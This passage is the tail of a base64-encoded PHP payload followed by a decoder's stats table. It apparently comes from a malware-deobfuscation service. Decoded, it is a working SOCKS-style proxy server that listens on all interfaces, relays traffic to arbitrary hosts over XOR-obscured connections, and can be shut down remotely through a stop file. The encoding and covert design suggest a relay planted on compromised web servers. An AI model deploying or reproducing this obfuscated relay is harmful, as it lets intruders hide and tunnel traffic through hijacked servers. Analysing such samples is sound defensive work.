pZF1bM10pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CgoJaWYoJHJlcW1lc3NhZ2VbJGlkXVszXSAhPT0gRE9NQUlOICYmICRyZXFtZXNzYWdlWyRpZF1bM10gIT09IElQdjQpCgl7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzRdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJaWYoJHJlcW1lc3NhZ2VbJGlkXVszXSA9PT0gRE9NQUlOKXsKCQkkcmVxbGVuID0gb3JkKCRyZXFtZXNzYWdlWyRpZF1bNF0pKzE7CgkJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bMyskcmVxbGVuXSkpCgkJCXJldHVybiBOT1RfQUxMX0RBVEE7CgkJJGhvc3QgPSBzdWJzdHIoJHJlcW1lc3NhZ2VbJGlkXSwgNSwgJHJlcWxlbi0xKTsKCgl9CgllbHNleyAvLyBJUCB2NAoJCSRyZXFsZW4gPSA0OwogCQlpZighaXNzZXQoJHJlcW1lc3NhZ2VbJGlkXVszKyRyZXFsZW5dKSkKCQkJcmV0dXJuIE5PVF9BTExfREFUQTsKICAgICAgICAgICAgICAgICRob3N0ID0gYmFzZV9jb252ZXJ0KGJpbjJoZXgoJHJlcW1lc3NhZ2VbJGlkXVs0XSksIDE2LCAxMCkuJy4nLgoJCQliYXNlX2NvbnZlcnQoYmluMmhleCgkcmVxbWVzc2FnZVskaWRdWzVdKSwgMTYsIDEwKS4nLicuCgkJCWJhc2VfY29udmVydChiaW4yaGV4KCRyZXFtZXNzYWdlWyRpZF1bNl0pLCAxNiwgMTApLicuJy4KCQkJYmFzZV9jb252ZXJ0KGJpbjJoZXgoJHJlcW1lc3NhZ2VbJGlkXVs3XSksIDE2LCAxMCk7Cgl9CglpZighaXNzZXQoJHJlcW1lc3NhZ2VbJGlkXVszKyRyZXFsZW4rMl0pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7Cglzb2NrZXRfZ2V0c29ja25hbWUgKCRjbGllbnRzb2NrZXRzWyRpZF0sICRzZWxmX2FkZHIsICRzZWxmX3BvcnQpOwoKCSRzZWxmX2FkZHIgPSBleHBsb2RlKCcuJywgJHNlbGZfYWRkcik7Cglmb3IoJGkgPSAwOyAkaSA8IDQ7ICRpKyspCgkJJHNlbGZfYWRkclskaV0gPSBjaHIoJHNlbGZfYWRkclskaV0pOwoJJHNlbGZfYWRkCT0gaW1wbG9kZSgnJywgJHNlbGZfYWRkcik7Cgkkc2VsZl9wb3J0CT0gcGFjaygnbicsICRzZWxmX3BvcnQpOwoJJGlwcG9ydFskaWRdICAgID0gJHNlbGZfYWRkLiRzZWxmX3BvcnQ7CgkKCWlmKGluX2FycmF5KCRob3N0LCAkYmxvY2tlZF9ob3N0cykpewoJCQoJICAgICAgICBzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5SRVBfQkxPQ0tFRF9IT1NULiJceDAwXHgwMSIuJGlwcG9ydFskaWRdLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCk7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCSRwb3J0ID0gYmFzZV9jb252ZXJ0KGJpbjJoZXgoc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sIDMrJHJlcWxlbisxLCAyKSksIDE2LCAxMCk7CgkvLyBDb25uZWN0aW9uIHRvIHJlbW90ZSBob3N0CgkKCSRzZXJ2ZXJzb2NrZXRzWyRpZF0JPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCA2IC8qIFRDUCovKTsKCWlmKCRzZXJ2ZXJzb2NrZXRzWyRpZF0JPT09IEZBTFNFKXsKCQkKCSAgICAgICAgc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLAlWRVIuUkVQX1NPQ0tTX0VSUk9SLiJceDAwXHgwMSIuJGlwcG9ydFskaWRdLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCk7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCXNvY2tldF9zZXRfbm9uYmxvY2soJHNlcnZlcnNvY2tldHNbJGlkXSk7CgkvL2VjaG8gJGhvc3QuJzonLiRwb3J0OwoJc29ja2V0X2Nvbm5lY3QoJHNlcnZlcnNvY2tldHNbJGlkXSwgJGhvc3QsICRwb3J0KTsKCXVuc2V0KCRyZXFtZXNzYWdlWyRpZF0pOwoJJHNvY2tldHNfc3RhdHVzWyRpZF0JPSBTVEFUVVNfQ09OTkVDVElORzsKCSR0aW1lb3V0WyRpZF0gICAJPSB0aW1lKCk7CgkKfQoKZnVuY3Rpb24gQXV0aG9yaXphdGlvbigkaWQpewoJZ2xvYmFsCSRzZXJ2ZXJzb2NrZXRzLCAkY2xpZW50c29ja2V0cywgJHNvY2tldHNfc3RhdHVzLCAkc2V0dGluZ3MsICRyZXFtZXNzYWdlLAoJCSR0aW1lb3V0LCAkc2Vja2V5X3BvczEsICRzZWNrZXlfcG9zMjsKCSRtZXNzYWdlID0gJyc7CglpZigoJG1lc3NhZ2UgPSBnZXRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwgMTAwLCAmJHNlY2tleV9wb3MyWyRpZF0sICRpZCkpID09PSBDTE9TRURfU09DS0VUKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfQoJZWxzZWlmKCRtZXNzYWdlID09PSBOT19EQVRBKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CglAJHJlcW1lc3NhZ2VbJGlkXSAuPSAkbWVzc2FnZTsKCWlmKCRyZXFtZXNzYWdlWyRpZF1bMF0gIT0gIlx4MDEiKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfQoJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bMV0pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CgoJJHBvcyAgICA9IG9yZCgkcmVxbWVzc2FnZVskaWRdWzFdKSsyOwoJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bJHBvc10pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CglpZighaXNzZXQoJHJlcW1lc3NhZ2VbJGlkXVskcG9zK29yZCgkcmVxbWVzc2FnZVskaWRdWyRwb3NdKV0pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CgoJLy8gQXV0aG9yaXphdGlvbgoJaWYoJHNldHRpbmdzWydMT0dJTiddCSA9PT0gc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sIDIsIG9yZCgkcmVxbWVzc2FnZVskaWRdWzFdKSkKCSYmICRzZXR0aW5nc1snUEFTU1dPUkQnXSA9PT0gc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sICRwb3MrMSwKCW9yZCgkcmVxbWVzc2FnZVskaWRdWyRwb3NdKSkpCgl7CgkgICAgICAgICR0aW1lb3V0WyRpZF0JCT0gdGltZSgpOwoJCXVuc2V0KCRyZXFtZXNzYWdlWyRpZF0pOwoJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFUVVFU1RSRUNWOwoJCXNlbmRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwJIlx4MDFceDAwIiwgJiRzZWNrZXlfcG9zMVskaWRdLCAkaWQpOwoJfQoJZWxzZXsKCQlzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCSJceDAxXHgwMSIsICYkc2Vja2V5X3BvczFbJGlkXSwgJGlkKTsKCQljbG9zZSgkaWQpOwoJfQoKfQoKZnVuY3Rpb24gY2xvc2UoJGlkKXsKCWdsb2JhbAkkc2VydmVyc29ja2V0cywgJGNsaWVudHNvY2tldHMsICRzb2NrZXRzX3N0YXR1cywgJHNldHRpbmdzLCAkcmVxbWVzc2FnZSwKCQkkdGltZW91dCwgJGlwcG9ydCwgJHNlY2tleV9wb3MxLCAkc2Vja2V5X3BvczIsICRzZWNrZXk7CiAgICAgICAgc29ja2V0X2dldHBlZXJuYW1lKCRjbGllbnRzb2NrZXRzWyRpZF0sICRpcCk7CglAc29ja2V0X2Nsb3NlKCRjbGllbnRzb2NrZXRzWyRpZF0pOwogICAgICAgIHVuc2V0KCRjbGllbnRzb2NrZXRzWyRpZF0pOwoJQHNvY2tldF9jbG9zZSgkc2VydmVyc29ja2V0c1skaWRdKTsKCXVuc2V0KCRzZXJ2ZXJzb2NrZXRzWyRpZF0pOwoJdW5zZXQoJHNvY2tldHNfc3RhdHVzWyRpZF0pOwoJdW5zZXQoJHRpbWVvdXRbJGlkXSk7Cgl1bnNldCgkaXBwb3J0WyRpZF0pOwoJdW5zZXQoJHNlY2tleVskaWRdKTsKCXVuc2V0KCRzZWNrZXlfcG9zMVskaWRdKTsKCXVuc2V0KCRzZWNrZXlfcG9zMlskaWRdKTsKCQoJbWFrZWxvZygkaXAuJyBkaXNjb25uZWN0ZWQuJyk7Cn0KCmZ1bmN0aW9uIFN0YXJ0S2V5cmVjdigkaWQpewoJZ2xvYmFsCSRzZXJ2ZXJzb2NrZXRzLCAkY2xpZW50c29ja2V0cywgJHNvY2tldHNfc3RhdHVzLCAkc2V0dGluZ3MsICRyZXFtZXNzYWdlLAoJCSR0aW1lb3V0LCAkc2Vja2V5X3BvczEsICRzZWNrZXlfcG9zMiwgJHNlY2tleTsKCQkKCWlmKCRzZXR0aW5nc1snU0VDVVJFJ10gIT0gMSkKCXsKCQkkc29ja2V0c19zdGF0dXNbJGlkXQk9IFNUQVRVU19SRUNWU1RBUlRSRVE7CgkJU3RhcnQoJGlkKTsKCQlyZXR1cm4gMDsKCX0KCWlmKCgkbWVzc2FnZSA9IGdldHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCAxMDApKSA9PT0gQ0xPU0VEX1NPQ0tFVCl7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCWVsc2VpZigkbWVzc2FnZSA9PT0gTk9fREFUQSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwogICAgICAgIEAkcmVxbWVzc2FnZVskaWRdIC49ICRtZXNzYWdlOwoKCWlmKCRyZXFtZXNzYWdlWyRpZF1bMF0gIT0gIlx4MDAiKXsKCSAgICAgICAgJHNlY2tleVskaWRdICAgICAgICAgICAgPSAkc2V0dGluZ3NbJ1NFQ1VSSVRZX0tFWSddOwoJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFQ1ZTVEFSVFJFUTsKCQkkcmVxbWVzc2FnZVskaWRdIAk9IHhvcl9mKCRyZXFtZXNzYWdlWyRpZF0sICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKTsKCQlTdGFydCgkaWQsIFRSVUUpOwoJCXJldHVybiAwOwogICAgICAgIH0KCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzRdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOy8vICAgMDAgMDEgMjggNTUKCSRsZW5ndGgJPSBiYXNlX2NvbnZlcnQoYmluMmhleChzdWJzdHIoJHJlcW1lc3NhZ2VbJGlkXSwgMSwgNCkpLCAxNiwgMTApOwoJLy9lY2hvICRsZW5ndGg7CiAgICAgICAgaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bNCskbGVuZ3RoXSkpCgkJcmV0dXJuIE5PVF9BTExfREFUQTsKCQogICAgICAgICRzZWNrZXlbJGlkXQkJPSBzdWJzdHIoJHJlcW1lc3NhZ2VbJGlkXSwgNSwgJGxlbmd0aCk7CiAgICAgICAgJHNvY2tldHNfc3RhdHVzWyRpZF0JPSBTVEFUVVNfUkVDVlNUQVJUUkVROwoKICAgICAgICAkcmVxbWVzc2FnZVskaWRdCT0gc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sIDUrJGxlbmd0aCwgMTEwKTsKICAgICAgICAKICAgICAgICAkcmVxbWVzc2FnZVskaWRdIAk9IHhvcl9mKCRyZXFtZXNzYWdlWyRpZF0sICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKTsKICAgICAgICBTdGFydCgkaWQsIFRSVUUpOwp9CgpmdW5jdGlvbiBTdGFydCgkaWQsICR3aXRob3V0Z2V0dGluZyA9IEZBTFNFKXsKCWdsb2JhbAkkc2VydmVyc29ja2V0cywgJGNsaWVudHNvY2tldHMsICRzb2NrZXRzX3N0YXR1cywgJHNldHRpbmdzLCAkcmVxbWVzc2FnZSwKCQkkdGltZW91dCwgJHNlY2tleV9wb3MxLCAkc2Vja2V5X3BvczI7CglpZigkd2l0aG91dGdldHRpbmcgPT09IEZBTFNFKXsKCQlpZigoJG1lc3NhZ2UgPSBnZXRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwgMTAsICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKSkgPT09IENMT1NFRF9TT0NLRVQpewoJCQljbG9zZSgkaWQpOwoJCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCQl9CgkJZWxzZWlmKCRtZXNzYWdlID09PSBOT19EQVRBKQoJCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwogICAgICAgICAgICAgICAgQCRyZXFtZXNzYWdlWyRpZF0gLj0gJG1lc3NhZ2U7Cgl9CiAgICAgICAgCiAgICAgICAKICAgICAgICAvLyBDaGVja2luZyB0aGUgcGFja2V0CiAgICAgICAgaWYoJHJlcW1lc3NhZ2VbJGlkXVswXSAhPT0gVkVSKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfSAKCgoJaWYob3JkKCRyZXFtZXNzYWdlWyRpZF1bMV0pID4gc3RybGVuKCRyZXFtZXNzYWdlWyRpZF0pIC0gMikKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJZWxzZWlmKG9yZCgkcmVxbWVzc2FnZVskaWRdWzFdKSA9PT0gc3RybGVuKCRyZXFtZXNzYWdlWyRpZF0pIC0gMil7CgkJaWYoJHNldHRpbmdzWydBVVRIJ10gIT09IDEpewoJCQlzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5BVVRIX05PVF9SRVEsICYkc2Vja2V5X3BvczFbJGlkXSwgJGlkKTsKCQkJdW5zZXQoJHJlcW1lc3NhZ2VbJGlkXSk7CgkJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFUVVFU1RSRUNWOwoJCQkkdGltZW91dFskaWRdICAgICAgICAgICA9IHRpbWUoKTsKCQkJcmV0dXJuIDA7CgkJfQoJCgkJaWYoc3Ryc3RyKHN1YnN0cigkcmVxbWVzc2FnZVskaWRdLCAyLCBvcmQoJHJlcW1lc3NhZ2VbJGlkXVsxXSkpLCBBVVRIX01FVEhPRCkpCgkJewoJCSAgICAgICAgJHRpbWVvdXRbJGlkXQkJPSB0aW1lKCk7CgkJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFQ1ZBVVRIUkVROwoJCQlzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5BVVRIX01FVEhPRCwgJiRzZWNrZXlfcG9zMVskaWRdLCAkaWQpOwoJCQl1bnNldCgkcmVxbWVzc2FnZVskaWRdKTsKCQkJcmV0dXJuIDA7CgkJfQoJCWVsc2V7CgkJCXNlbmRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwJVkVSLldST05HX0FVVEhfTUVUSE9EUywgJiRzZWNrZXlfcG9zMVskaWRdLCAkaWQpOwoJCQlyZXR1cm4gMDsKCQkJY2xvc2UoJGlkKTsKCQkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7CgkJfQoJCSRzb2NrZXRzX3N0YXR1c1skaWRdID0gU1RBVFVTX1JFUVVFU1Q7CgkJcmV0dXJuIDA7Cgl9CgllbHNlewoJCWNsb3NlKCRpZCk7CgkJCgkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7Cgl9Cn0KCmZ1bmN0aW9uIG9uZV9hcnJheSgkZiwgJHMpewoJJG5ld19hcnJheSA9IGFycmF5KCk7Cglmb3JlYWNoKCRmIGFzICRlbHQpCgkJaWYoIWluX2FycmF5KCRlbHQsICRzKSkKCQkJYXJyYXlfcHVzaCgkbmV3X2FycmF5LCAkZWx0KTsKCXJldHVybiBhcnJheV9tZXJnZV9yZWN1cnNpdmUoJG5ld19hcnJheSwgJHMpOwoKfQoKZnVuY3Rpb24gbWFrZWxvZygkc3RyaW5nKXsKCWdsb2JhbCAkc2V0dGluZ3M7CglpZigkc2V0dGluZ3NbJ0xPR19GSUxFJ10gPT0gLTEpCgkJcmV0dXJuIEZBTFNFOwoJJGZwID0gZm9wZW4oJHNldHRpbmdzWydMT0dfRklMRSddLCAnYScpOwoJZnB1dHMoJGZwLCBkYXRlKCJkLm0uWS4gSDppOnMiKS4nICAnLiRzdHJpbmcuIlxyXG4iLgoJIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iKTsKCWZjbG9zZSgkZnApOwp9CgpmdW5jdGlvbiBzdG9wKCl7CglnbG9iYWwJJHNlcnZlcnNvY2tldHMsICRjbGllbnRzb2NrZXRzLCAkc29ja2V0c19zdGF0dXMsICRzZXR0aW5ncywgJHJlcW1lc3NhZ2UsCgkJJHRpbWVvdXQ7Cglmb3IoJGkgPSAwOyAkaSA8IHNpemVvZigkY2xpZW50c29ja2V0cyk7ICRpKyspCgkJY2xvc2UoJGkpOwoJbWFrZWxvZygnRmluaXNoITogJy4kc3RyaW5nKTsKCURJRSgpOwp9CgpmdW5jdGlvbiBlcnJvcigkc3RyaW5nKXsKCW1ha2Vsb2coJzw8RVJST1I+PjogJy4kc3RyaW5nKTsKCXN0b3AoKTsKCURJRSgpOwp9Ci8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qXAp8ICAgICAgICAgICAgICAgICAgICAgIAkgICAgIFAgUiBPIEcgUiBBIE0gTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgokc29jayA9CXNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIDYgLyogVENQKi8pIE9SCglESUUoc29ja2V0X3N0cmVycm9yKHNvY2tldF9sYXN0X2Vycm9yKCkpKTsKaWYoIXNvY2tldF9iaW5kKCRzb2NrLCAgIjAuMC4wLjAiLCAkc2V0dGluZ3NbJ1BPUlQnXSkpCgllcnJvcihzb2NrZXRfc3RyZXJyb3Ioc29ja2V0X2xhc3RfZXJyb3IoJHNvY2spKSk7CgppZighc29ja2V0X2xpc3RlbiAoJHNvY2ssICRzZXR0aW5nc1snTUFYX0NPTk5FQ1RJT05TJ10pKQoJZXJyb3Ioc29ja2V0X3N0cmVycm9yKHNvY2tldF9sYXN0X2Vycm9yKCRzb2NrKSkpOwpzb2NrZXRfc2V0X25vbmJsb2NrKCRzb2NrKTsKJG1heGNvdW50CT0gJHNldHRpbmdzWydNQVhfQ09OTkVDVElPTlMnXSArIDE7CiRzb2NrCQk9IGFycmF5KCRzb2NrKTsKCmZ1bmN0aW9uIF91c2xlZXAoJG1pbGlzZWNvbmRzKSB7CglAZnNvY2tvcGVuKCJ0Y3A6Ly9sb2NhbGhvc3QiLCAyMTYzODcyNywgJGVycm5vLCAkZXJyc3RyLCAkbWlsaXNlY29uZHMvMTAwMCk7Cn0KCgp3aGlsZShUUlVFKXsKCS8vZWNobyBzaXplb2YoJGNsaWVudHNvY2tldHMpLiJcclxuIjsKCSRyZWFkZWQgPSAkd3IgPSBhcnJheV9tZXJnZSgkc29jaywgJGNsaWVudHNvY2tldHMpOwoJaWYoc29ja2V0X3NlbGVjdCgmJHJlYWRlZCwgJiR3ciwgJGV4YyA9IE5VTEwsIDcpIDwgMSl7CiAgICAgICAgICAgCiAgICAgICAgICAgaWYoZmlsZV9leGlzdHMoJHNldHRpbmdzWydTVE9QRklMRSddKSkKICAgICAgICAgICAgICAgIHN0b3AoKTsKICAgICAgICAgICBjb250aW51ZTsKCX0KCWlmKHNpemVvZigkcmVhZGVkKSA8IDEpCgkJX3VzbGVlcCgxMDApOwoJaWYgKGluX2FycmF5KCRzb2NrWzBdLCAkcmVhZGVkKSl7CiAgCQkkY2xpZW50c29ja2V0c1tdID0gKCRjbF9zb2NrID0gc29ja2V0X2FjY2VwdCgkc29ja1swXSkpOwogIAkJc29ja2V0X2dldHBlZXJuYW1lKCRjbF9zb2NrLCAkaXApOwogIAkJbWFrZWxvZygkaXAuJyBjb25uZWN0ZWQgdG8gc2VydmVyLicpOwoJCSRpZCA9IGFycmF5X3NlYXJjaCgkY2xfc29jaywgJGNsaWVudHNvY2tldHMpOwoJCWlmKGNvdW50KCRjbGllbnRzb2NrZXRzKSA+PSAkbWF4Y291bnQpewoJCQlzb2NrZXRfY2xvc2UoJGNsX3NvY2spOwoJCQl1bnNldCgkY2xpZW50c29ja2V0c1skaWRdKTsKCQkJbWFrZWxvZygnQ29ubmVjdGlvbiB3aXRoICcuJGlwLicgaGFzIGJlZW4gYWJvcnRlZCBieSBzZXJ2ZXIuICcuCgkJCSdSZWFzb246IHRvbyBtYW55IGNvbm5lY3Rpb25zLicpOwoJCX0KCQllbHNlaWYoaW5fYXJyYXkoJGlwLCAkYmxvY2tlZF91c2VycykpewoJCQlzb2NrZXRfY2xvc2UoJG5ld3NvY2spOwoJCQl1bnNldCgkY2xpZW50c29ja2V0c1skaWRdKTsKCQkJbWFrZWxvZygnQ29ubmVjdGlvbiB3aXRoICcuJGlwLicgaGFzIGJlZW4gYWJvcnRlZCBieSBzZXJ2ZXIuICcuCgkJCSdSZWFzb246IGJhbm5lZCB1c2VyLicpOwoJCX0KCQllbHNlewoJICAgICAgICAgICAgICAgIHNvY2tldF9zZXRfbm9uYmxvY2soJGNsX3NvY2spOwoJICAgICAgICAgICAgICAgICRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFQ1ZTRUNLRVk7CgkgIAkJJHNlY2tleV9wb3MxWyRpZF0JPSAwOwoJCQkkc2Vja2V5X3BvczJbJGlkXQk9IDA7CgkJfQoKCQkka2V5ID0gYXJyYXlfc2VhcmNoKCRzb2NrWzBdLCAkcmVhZGVkKTsKCgkJdW5zZXQoJHJlYWRlZFska2V5XSk7Cgl9CgkkYXJyYXlfc3RhdHVzID0gb25lX2FycmF5KCRyZWFkZWQsICR3cik7Cglmb3JlYWNoKCRhcnJheV9zdGF0dXMgYXMgJHNvY2tldCl7CgkJJGlkID0gYXJyYXlfc2VhcmNoKCRzb2NrZXQsICRjbGllbnRzb2NrZXRzKTsKCQlpZigkaWQgPT09IEZBTFNFKQoJCQkkaWQgPSBhcnJheV9zZWFyY2goJHNvY2tldCwgJHNlcnZlcnNvY2tldHMpOwoJCWlmKCRpZCA9PT0gRkFMU0UpCgkJCWNvbnRpbnVlOwoJCXN3aXRjaCAoJHNvY2tldHNfc3RhdHVzWyRpZF0pewoJCQljYXNlIFNUQVRVU19SRUNWU0VDS0VZOgoJCQkgICAgICAgIFN0YXJ0S2V5cmVjdigkaWQpOwoJCQkJYnJlYWs7CgkgCQljYXNlIFNUQVRVU19SRUNWQVVUSFJFUToKCSAJCSAgICAgICAgaWYodGltZSgpIC0gJHRpbWVvdXRbJGlkXSA+PSAkc2V0dGluZ3NbJ0FVVEhfVElNRU9VVCddKQoJCQkJeyAgICAgICAvL2VjaG8gJ2FhYWFhJzsKCQkJCSAJY2xvc2UoJGlkKTsKCQkJCSAJYnJlYWs7CgkJCQl9CgkJCQlBdXRob3JpemF0aW9uKCRpZCk7CgkJCQlicmVhazsKCSAJCWNhc2UgU1RBVFVTX1JFUVVFU1RSRUNWOgoKCQkJCUJyaWRnZUVzdGFibGlzaDEoJGlkKTsKCQkJCWJyZWFrOwoJCQljYXNlIFNUQVRVU19SRUNWU1RBUlRSRVE6CgkJCQlTdGFydCgkaWQpOwoJCQkJCQoJCQkJYnJlYWs7CgkJCWNhc2UgU1RBVFVTX0NPTk5FQ1RJTkc6CgoJCQkJaWYodGltZSgpIC0gJHRpbWVvdXRbJGlkXSA+PSAkc2V0dGluZ3NbJ0NPTk5FQ1RfVElNRU9VVCddKQoJCQkJewoJCQkJCS8vc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLAlWRVIuUkVQX0JBRF9IT1NULgoJCQkJCS8vIlx4MDBceDAxIi4kaXBwb3J0WyRpZF0pOwoJCQkJCWNsb3NlKCRpZCk7CgkJCQkgCWJyZWFrOwoJCQkJfQoJCQkJLy8gY2hlY2tpbiByZW1vdGUgaG9zdAoJCQkJJGV4ciA9ICRld3IgPSBhcnJheSgkc2VydmVyc29ja2V0c1skaWRdKTsKCQkJCWlmKHNvY2tldF9zZWxlY3QoJGV4ciwgJGV3ciwgJGV4YyA9IE5VTEwsIDApID4gMCkKCSAJCQkJQnJpZGdlRXN0YWJsaXNoMigkaWQpOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQ6IC8vIFNUQVRVU19XT1JLSU5HCgkJCSAgICAgICAgJG1lcyA9IGdldHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCA4MDI0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkbWVzID09PSBDTE9TRURfU09DS0VUKXsKCQkJCQljbG9zZSgkaWQpOwoJCQkJCWJyZWFrOwoJCQkJfQoKCQkJCWlmKCRtZXMgIT09IE5PX0RBVEEgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCQkJCQlpZihzZW5kc3RyaW5nKCRzZXJ2ZXJzb2NrZXRzWyRpZF0sICRtZXMsICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKSA9PT0gRkFMU0UpewoJCQkJCQljbG9zZSgkaWQpOwoJCQkJCQlicmVhazsKCQkJCQl9CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXMgPSBnZXRzdHJpbmcoJHNlcnZlcnNvY2tldHNbJGlkXSwgODAyNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJG1lcyA9PT0gQ0xPU0VEX1NPQ0tFVCl7CgkJCQkJY2xvc2UoJGlkKTsKCQkJCQlicmVhazsKCQkJCX0KCQkJCWlmKCRtZXMgIT09IE5PX0RBVEEpCgkJCQkJaWYoc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCAkbWVzLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCkgPT09IEZBTFNFKXsKCQkJCQkJY2xvc2UoJGlkKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoKCQkJfQoJCQkJCgoKCgl9CglpZihyYW5kKDEsNSkgPT0gNSkKCQlpZihmaWxlX2V4aXN0cygkc2V0dGluZ3NbJ1NUT1BGSUxFJ10pKQoJCQlzdG9wKCk7Cn0KCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCj8+Cg==";
Function Calls
None |
Stats
MD5 | 4e77d9053d90f0be042a5c6cd29904b4 |
Eval Count | 0 |
Decode Time | 2389 ms |